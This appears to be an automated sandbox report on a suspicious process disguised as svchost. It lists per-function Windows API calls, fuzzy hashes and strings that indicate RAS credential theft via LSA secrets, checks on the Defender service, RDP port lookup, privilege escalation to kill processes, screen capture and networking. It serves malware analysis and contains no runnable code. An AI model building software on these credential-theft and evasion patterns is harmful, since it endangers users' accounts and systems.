Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: CriticalSection$??2@??3@EnterLeave_ftol
String ID:
API String ID: 2245774403-0
Opcode ID: 11421cfa7e62dead32e3bc1e7bbc566a813cde2cb662131755118c0bc8acf60e
Instruction ID: a6b16d3a063b6735e5fce12f1fca825bffa08afaf11e18807496d230e4761672
Opcode Fuzzy Hash: 11421cfa7e62dead32e3bc1e7bbc566a813cde2cb662131755118c0bc8acf60e
Instruction Fuzzy Hash: BC41D57234420057D704EA26AC42B7F73E9AFC4754F00053EFD86A7291EA38E90D87AA

Function 004104B0 Relevance: 9.1, APIs: 6, Instructions: 113stringCOMMON

Download Yara Rule

APIs

mbstowcs.MSVCRT ref: 0041050C
NetUserGetLocalGroups.NETAPI32(00000000,?,00000000,00000001,?,000000FF,?,?,000000FF,74DF0440,0042663C), ref: 00410531
wcslen.MSVCRT ref: 00410571
malloc.MSVCRT ref: 00410578
wsprintfA.USER32 ref: 00410589
strncpy.MSVCRT ref: 0041059A

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: GroupsLocalUsermallocmbstowcsstrncpywcslenwsprintf
String ID:
API String ID: 2924516398-0
Opcode ID: 234fb5ebb7e4d798cb2b1ac54412d8e076d0ca6c6b0e52b40b458ff40344874b
Instruction ID: e6dddfe01b28b34863697b498f12fb6b5406321329e640229da78d6bdca8b05f
Opcode Fuzzy Hash: 234fb5ebb7e4d798cb2b1ac54412d8e076d0ca6c6b0e52b40b458ff40344874b
Instruction Fuzzy Hash: 943126711083516BD325DF28C8409EBB7D9FFC8750F000A2EF595D3282DAB8DA858B9A

Function 0040CCE0 Relevance: 9.1, APIs: 6, Instructions: 105windowCOMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT ref: 0040CD0B
GetDC.USER32(00000000), ref: 0040CD66
CreateCompatibleBitmap.GDI32(00000000,00000001,00000001), ref: 0040CD73
GetDIBits.GDI32(00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0040CD86
ReleaseDC.USER32(00000000,00000000), ref: 0040CD8F
DeleteObject.GDI32(00000000), ref: 0040CD96

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: ??2@BitmapBitsCompatibleCreateDeleteObjectRelease
String ID:
API String ID: 1095915628-0
Opcode ID: d115f5d8e078adb425d7d453a0ba335e87b3804b88e9265fc020c0b84fd46a2e
Instruction ID: 11387c02bafcda6e00c6e1e7aa8e26423746e46bda85dcebc476911df0b1753f
Opcode Fuzzy Hash: d115f5d8e078adb425d7d453a0ba335e87b3804b88e9265fc020c0b84fd46a2e
Instruction Fuzzy Hash: DF31B0712057018FD324CF69DC84BABBBE6FF99304F148A7EE5468B291E670A5098B54

Function 00402450 Relevance: 9.1, APIs: 6, Instructions: 87threadnetworkCOMMON

Download Yara Rule

APIs

inet_addr.WS2_32(?), ref: 00402458
gethostbyname.WS2_32(?), ref: 00402464
inet_ntoa.WS2_32(?), ref: 0040248E
CreateThread.KERNEL32(00000000,00000000,Function_00001F60,00000000,00000000,00000000), ref: 004024FF
CloseHandle.KERNEL32(00000000), ref: 00402502
CreateThread.KERNEL32(00000000,00000000,Function_000023A0,00000000,00000000,00000000), ref: 0040252B

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: CreateThread$CloseHandlegethostbynameinet_addrinet_ntoa
String ID:
API String ID: 772126777-0
Opcode ID: ae080dd074ef6036c4d14c8be77648be963d145d14477208b8746d0e6a0492b6
Instruction ID: 54d9362d4ad1e388686cf4ae1fb12ba2d701db9d62b7a070d547e6bd95f3cba7
Opcode Fuzzy Hash: ae080dd074ef6036c4d14c8be77648be963d145d14477208b8746d0e6a0492b6
Instruction Fuzzy Hash: 4821D1357846105BD3248A78AD56B2B76D1FBC4720FA5463AFA16E73D0CBF8AC04C61C

Function 004028E0 Relevance: 9.1, APIs: 6, Instructions: 87threadnetworkCOMMON

Download Yara Rule

APIs

inet_addr.WS2_32(?), ref: 004028E8
gethostbyname.WS2_32(?), ref: 004028F4
inet_ntoa.WS2_32(?), ref: 0040291E
CreateThread.KERNEL32(00000000,00000000,Function_00001F60,00000000,00000000,00000000), ref: 0040298F
CloseHandle.KERNEL32(00000000), ref: 00402992
CreateThread.KERNEL32(00000000,00000000,Function_00002540,00000000,00000000,00000000), ref: 004029BB

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: CreateThread$CloseHandlegethostbynameinet_addrinet_ntoa
String ID:
API String ID: 772126777-0
Opcode ID: b4edac8b29d6b1009935d230d74a36e755e11a027cdb3a6bc7823ab927722944
Instruction ID: 5a498da370f301a2d03f9717737ae95aa97498c63df5b0ba6a1f64ef2818c8d2
Opcode Fuzzy Hash: b4edac8b29d6b1009935d230d74a36e755e11a027cdb3a6bc7823ab927722944
Instruction Fuzzy Hash: F421D1757846105BD3248A78AC46B2B76D1FBC4720F65463AFA16E73D0CBF8AC04C65C

Function 004048A0 Relevance: 9.1, APIs: 6, Instructions: 87threadnetworkCOMMON

Download Yara Rule

APIs

inet_addr.WS2_32(?), ref: 004048A8
gethostbyname.WS2_32(?), ref: 004048B4
inet_ntoa.WS2_32(?), ref: 004048DE
CreateThread.KERNEL32(00000000,00000000,Function_00001F60,00000000,00000000,00000000), ref: 0040494F
CloseHandle.KERNEL32(00000000), ref: 00404952
CreateThread.KERNEL32(00000000,00000000,Function_000046C0,00000000,00000000,00000000), ref: 0040497B

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: CreateThread$CloseHandlegethostbynameinet_addrinet_ntoa
String ID:
API String ID: 772126777-0
Opcode ID: 3053219378994aa719e3fa495c21228f13d54d12f5213ba937eda3013cba487d
Instruction ID: debc7aa0bb8dca717e3b045cc0a02717006d3a61021671d6357bca73c41b10ce
Opcode Fuzzy Hash: 3053219378994aa719e3fa495c21228f13d54d12f5213ba937eda3013cba487d
Instruction Fuzzy Hash: DA21E0B57842105BD7248A78AC46B2B76D2FBC4720F65463AFA16E73D0CBB8AC04C65C

Function 00404150 Relevance: 9.1, APIs: 6, Instructions: 87threadnetworkCOMMON

Download Yara Rule

APIs

inet_addr.WS2_32(?), ref: 00404158
gethostbyname.WS2_32(?), ref: 00404164
inet_ntoa.WS2_32(?), ref: 0040418E
CreateThread.KERNEL32(00000000,00000000,Function_00001F60,00000000,00000000,00000000), ref: 004041FF
CloseHandle.KERNEL32(00000000), ref: 00404202
CreateThread.KERNEL32(00000000,00000000,Function_00003F40,00000000,00000000,00000000), ref: 0040422B

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: CreateThread$CloseHandlegethostbynameinet_addrinet_ntoa
String ID:
API String ID: 772126777-0
Opcode ID: cced65ee01563c3c24d4bc15fb58656b2c07437d8b8c0e76d4ca9d50040fce59
Instruction ID: 048c7ad4ab4a0efecee493246155784990fc9e959001883fdfc022f6a8228fca
Opcode Fuzzy Hash: cced65ee01563c3c24d4bc15fb58656b2c07437d8b8c0e76d4ca9d50040fce59
Instruction Fuzzy Hash: 0921DE757842105BD3288A78AC46B2B76E1FBD4760F65463EFA16A73D0CBB8AC04865C

Function 004045D0 Relevance: 9.1, APIs: 6, Instructions: 87threadnetworkCOMMON

Download Yara Rule

APIs

inet_addr.WS2_32(?), ref: 004045D8
gethostbyname.WS2_32(?), ref: 004045E4
inet_ntoa.WS2_32(?), ref: 0040460E
CreateThread.KERNEL32(00000000,00000000,Function_00001F60,00000000,00000000,00000000), ref: 0040467F
CloseHandle.KERNEL32(00000000), ref: 00404682
CreateThread.KERNEL32(00000000,00000000,Function_00004240,00000000,00000000,00000000), ref: 004046AB

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: CreateThread$CloseHandlegethostbynameinet_addrinet_ntoa
String ID:
API String ID: 772126777-0
Opcode ID: a2c8ec35e66a7755dd8a0276750993c30e6f14f37d50fa57bdada80a08d6c06c
Instruction ID: eae46ad6a68e7a141878cb84663a07c669958f035f4c732714230885a663f6b1
Opcode Fuzzy Hash: a2c8ec35e66a7755dd8a0276750993c30e6f14f37d50fa57bdada80a08d6c06c
Instruction Fuzzy Hash: 1321FE717842105BD3248A78AC42B2B76D1FBC5720F65463AFA16A73D0DBB8AC00865C

Function 004022B0 Relevance: 9.1, APIs: 6, Instructions: 87threadnetworkCOMMON

Download Yara Rule

APIs

inet_addr.WS2_32(?), ref: 004022B8
gethostbyname.WS2_32(?), ref: 004022C4
inet_ntoa.WS2_32(?), ref: 004022EE
CreateThread.KERNEL32(00000000,00000000,Function_00001F60,00000000,00000000,00000000), ref: 0040235F
CloseHandle.KERNEL32(00000000), ref: 00402362
CreateThread.KERNEL32(00000000,00000000,Function_00001FA0,00000000,00000000,00000000), ref: 0040238B

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: CreateThread$CloseHandlegethostbynameinet_addrinet_ntoa
String ID:
API String ID: 772126777-0
Opcode ID: ad19a9da072e22fd67edd7a9a5c8b20e8a9fc04ba2d2350edf93e6f48cd5e0e4
Instruction ID: e8a00ad7d59d951ee2fdbbaad3e7dcc41295190148bcf34d8f14a681e3f578a2
Opcode Fuzzy Hash: ad19a9da072e22fd67edd7a9a5c8b20e8a9fc04ba2d2350edf93e6f48cd5e0e4
Instruction Fuzzy Hash: 2821E2357846105BD7248A78AC46B2B76D1FBC8720FA5463AFA16E73D0CBF8AC04C65C

Function 00404B90 Relevance: 9.1, APIs: 6, Instructions: 87threadnetworkCOMMON

Download Yara Rule

APIs

inet_addr.WS2_32(?), ref: 00404B98
gethostbyname.WS2_32(?), ref: 00404BA4
inet_ntoa.WS2_32(?), ref: 00404BCE
CreateThread.KERNEL32(00000000,00000000,Function_00001F60,00000000,00000000,00000000), ref: 00404C3F
CloseHandle.KERNEL32(00000000), ref: 00404C42
CreateThread.KERNEL32(00000000,00000000,Function_00004990,00000000,00000000,00000000), ref: 00404C6B

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: CreateThread$CloseHandlegethostbynameinet_addrinet_ntoa
String ID:
API String ID: 772126777-0
Opcode ID: 396962a60aba9a948d1fd9c54572abcdf0049d86fac5a83ce81e63e675caf136
Instruction ID: 7e2c97a0c8210ae0ad0f456ff96f7861659f24e295b771fe81cfdcbb46e63f98
Opcode Fuzzy Hash: 396962a60aba9a948d1fd9c54572abcdf0049d86fac5a83ce81e63e675caf136
Instruction Fuzzy Hash: D721D3757886105BE3248A78AC46B2B76D1FBC4720F65453AFA16A73D0CBB4DC04861C

Function 0040E1D0 Relevance: 9.1, APIs: 3, Strings: 3, Instructions: 62stringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0040E218

Part of subcall function 0040A5E0: RegOpenKeyExA.ADVAPI32(?,00000000,00000000,00020019,?,?,?,?), ref: 0040A64C

lstrlenA.KERNEL32(?), ref: 0040E244
lstrlenA.KERNEL32(?), ref: 0040E26B

Strings

Remark, xrefs: 0040E22A
MsMpEng, xrefs: 0040E1F0
SYSTEM\CurrentControlSet\Services\%s, xrefs: 0040E1FC

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: lstrlen$Openwsprintf
String ID: MsMpEng$Remark$SYSTEM\CurrentControlSet\Services\%s
API String ID: 2249594862-4054063537
Opcode ID: ef2fce78619cacc83e55ac2a5676c00455101a135c37eab128746835f8e33fc7
Instruction ID: 63968ada3898b4e2308ec7ca74b23206eee1936f1f33c903c804578ee512ba8c
Opcode Fuzzy Hash: ef2fce78619cacc83e55ac2a5676c00455101a135c37eab128746835f8e33fc7
Instruction Fuzzy Hash: 310126727402182BD7289525EC52BBBB69EEBC8710F94053EBB02D32C1DDB99D198299

Function 00412090 Relevance: 9.1, APIs: 6, Instructions: 53stringprocessCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,?), ref: 004120B7
Module32First.KERNEL32(00000000,00000000), ref: 004120CC
lstrcmpiA.KERNEL32(?,?), ref: 004120EB
Module32Next.KERNEL32(00000000,00000000), ref: 004120F7
lstrcmpiA.KERNEL32(?,?), ref: 00412109
CloseHandle.KERNEL32(00000000), ref: 00412114

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: Module32lstrcmpi$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 3447504839-0
Opcode ID: 940e670b2923f27d722f90e9c6542a93b0735813d2f26196dddc54114664c13d
Instruction ID: 23a9d2469a2d88952d39272cc1f5422a5e6d20258143ecdc10c2bc527f572d64
Opcode Fuzzy Hash: 940e670b2923f27d722f90e9c6542a93b0735813d2f26196dddc54114664c13d
Instruction Fuzzy Hash: 0701D2311043466BD320EBA5DD54AFBB7ECEF89340F00492EBD40C2240EB78DA08C7A6

Function 004102F0 Relevance: 9.0, APIs: 3, Strings: 3, Instructions: 49stringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0041033A

Part of subcall function 0040A5E0: RegOpenKeyExA.ADVAPI32(?,00000000,00000000,00020019,?,?,?,?), ref: 0040A64C

lstrlenA.KERNEL32(?), ref: 00410366
lstrlenA.KERNEL32(?), ref: 00410372

Strings

SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\%s, xrefs: 00410334
PortNumber, xrefs: 0041034C
3389, xrefs: 0041036C, 00410371

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: lstrlen$Openwsprintf
String ID: 3389$PortNumber$SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\%s
API String ID: 2249594862-3034822107
Opcode ID: 06000ad4374d438e0b9c8365455fdc2c5a4ca18c80695adef39ff0d8c0d1d73e
Instruction ID: 612fd8862b61ad466222110eab3203184425576b9357c41998ae08722edd372f
Opcode Fuzzy Hash: 06000ad4374d438e0b9c8365455fdc2c5a4ca18c80695adef39ff0d8c0d1d73e
Instruction Fuzzy Hash: 94012B717402143BE7245614DC42FEB72A9EBC8714F41843EFB14A3280D6B99D5586AA

Function 0040E0B0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0040E0B7
CoCreateInstance.OLE32(00420AE0,00000000,00000001,00420AC0,?,?,?,?,?,?,?,?,?,?,www.362-com.com,?), ref: 0040E0CF

Strings

FriendlyName, xrefs: 0040E15C

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: CreateInitializeInstance
String ID: FriendlyName
API String ID: 3519745914-3623505368
Opcode ID: f4c665ec547ac62d3538e9ab01bbf30b89df3e48c9e10ecc45f9a3402d5b1aeb
Instruction ID: 6429f8e13d52d5e83aacb398269523d483b1b430e74a335e3e00cdd5adbd692d
Opcode Fuzzy Hash: f4c665ec547ac62d3538e9ab01bbf30b89df3e48c9e10ecc45f9a3402d5b1aeb
Instruction Fuzzy Hash: E4310670344302AFD604CF61CC89F6BB3E9FF88704F54896DB44ADB290D679E84A8B65

Function 00405390 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 004053FC

Part of subcall function 00405170: LsaOpenPolicy.ADVAPI32(00000000,?,00000004,?), ref: 00405192

LsaFreeMemory.ADVAPI32(?), ref: 0040542A
LsaFreeMemory.ADVAPI32(?), ref: 00405454

Part of subcall function 00405200: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000,?,00000000), ref: 00405239

Strings

RasDialParams!%s#0, xrefs: 004053BF
L$_RasDefaultCredentials#0, xrefs: 004053B6

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: FreeMemory$ByteCharMultiOpenPolicyWidewsprintf
String ID: L$_RasDefaultCredentials#0$RasDialParams!%s#0
API String ID: 3354934605-1591505386
Opcode ID: 0c09d84e57d4041a08423fb98f812c90f476bd88e277c0e5294769d488844f96
Instruction ID: cefc6c45821aea29995bb30e045f9c6e88ff07534a08198cd7b5c021b0e9e25a
Opcode Fuzzy Hash: 0c09d84e57d4041a08423fb98f812c90f476bd88e277c0e5294769d488844f96
Instruction Fuzzy Hash: F421B0756047019BC311EF29E8909ABB3F9EF88704B80893EF99593341D638DE088FD9

Function 00406240 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 56memoryCOMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,00000000,00000000,?,00405E57,00000000), ref: 00406290
VirtualFree.KERNEL32(?,00000000,00008000,?,00405E57,00000000), ref: 004062B7
GetProcessHeap.KERNEL32(00000000,W^@,?,00405E57,00000000), ref: 004062C0
HeapFree.KERNEL32(00000000), ref: 004062C7

Strings

W^@, xrefs: 00406241, 004062BD

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: Free$Heap$LibraryProcessVirtual
String ID: W^@
API String ID: 548792435-3294023789
Opcode ID: 639ff86f2f28904fd75a48f17eac365bac617e3930025aba4c4096c3b7585871
Instruction ID: 8f32811886bb85514940ef6b55cb2756e90e11ceabdb830f4cee9237ab70f5d4
Opcode Fuzzy Hash: 639ff86f2f28904fd75a48f17eac365bac617e3930025aba4c4096c3b7585871
Instruction Fuzzy Hash: E1113C717407019BD620AFA9DC84F47B3E8AF48720F15896DF59AE72D0D778F8418B64

Function 00407ED0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000021,40000000,00000002,00000000,00000003,00000080,00000000,?,00000001), ref: 00407EFC
SetFilePointer.KERNEL32(00000000,?,?,00000000,?,00000001), ref: 00407F0D
WriteFile.KERNEL32(00000000,?,?,?,00000000,?,00000001), ref: 00407F27
CloseHandle.KERNEL32(00000000,?,00000001), ref: 00407F2E

Strings

p, xrefs: 00407F47

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: File$CloseCreateHandlePointerWrite
String ID: p
API String ID: 3604237281-2181537457
Opcode ID: 71e658ce640062a47a2f71a0652cdf344a7f1a6863d41632961f997cfaa5b71f
Instruction ID: 7951c9aa64e6ca25fb784fc3f28c53ffb9324bf309c0faa3f6f08fe70c579db9
Opcode Fuzzy Hash: 71e658ce640062a47a2f71a0652cdf344a7f1a6863d41632961f997cfaa5b71f
Instruction Fuzzy Hash: E011AC71288301ABE300DF54DC85FABB7E8EBD9714F044A1DF644972D1D7B4A9098BAA

Function 00413DF0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 47sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00414110: GetCurrentProcess.KERNEL32(00000028,00000000,00000000,?,?,?,?,00000104,?,?,80000002,?,ServiceDll,00000002,?,00000000), ref: 00414120
Part of subcall function 00414110: OpenProcessToken.ADVAPI32(00000000,?,?,?,?,00000104,?,?,80000002,?,ServiceDll,00000002,?,00000000,00000000,00000000), ref: 00414127

OpenProcess.KERNEL32(001F0FFF,00000000,00000000), ref: 00413E23
TerminateProcess.KERNEL32(00000000,00000000), ref: 00413E2E
CloseHandle.KERNEL32(00000000), ref: 00413E35
Sleep.KERNEL32(00000064), ref: 00413E58

Strings

SeDebugPrivilege, xrefs: 00413DF8, 00413E49

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: Process$Open$CloseCurrentHandleSleepTerminateToken
String ID: SeDebugPrivilege
API String ID: 1801483760-2896544425
Opcode ID: 659ed3f942b2a553878ba58305d0bd3c3ac21fbb6e07c39b6d34ae5a2f1271cb
Instruction ID: 8844cde5430a716e8bf836456c5b6cbc021f4a82416cf0a4200be19356de59eb
Opcode Fuzzy Hash: 659ed3f942b2a553878ba58305d0bd3c3ac21fbb6e07c39b6d34ae5a2f1271cb
Instruction Fuzzy Hash: 0F012B727803106BE1106F50AC8ABBF7754DB84B16F14002EF94167281CB685D5146AA

Function 0040A260 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 34sleepfilestringCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(0000012C), ref: 0040A293
GetSystemDirectoryA.KERNEL32(?,00000104), ref: 0040A2AB
lstrcatA.KERNEL32(?,\MODIf.html,?,00000104), ref: 0040A2BB
DeleteFileA.KERNEL32(?,?,\MODIf.html,?,00000104), ref: 0040A2C6

Part of subcall function 0040A530: SetEvent.KERNEL32(?,0040BEA5), ref: 0040A534

Strings

\MODIf.html, xrefs: 0040A2B5

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: DeleteDirectoryEventFileSleepSystemlstrcat
String ID: \MODIf.html
API String ID: 2037708152-2523469999
Opcode ID: ca78cd4a69b91d86fc8daa009f0785d86b2c57de7d097d90857a46cf3f1815aa
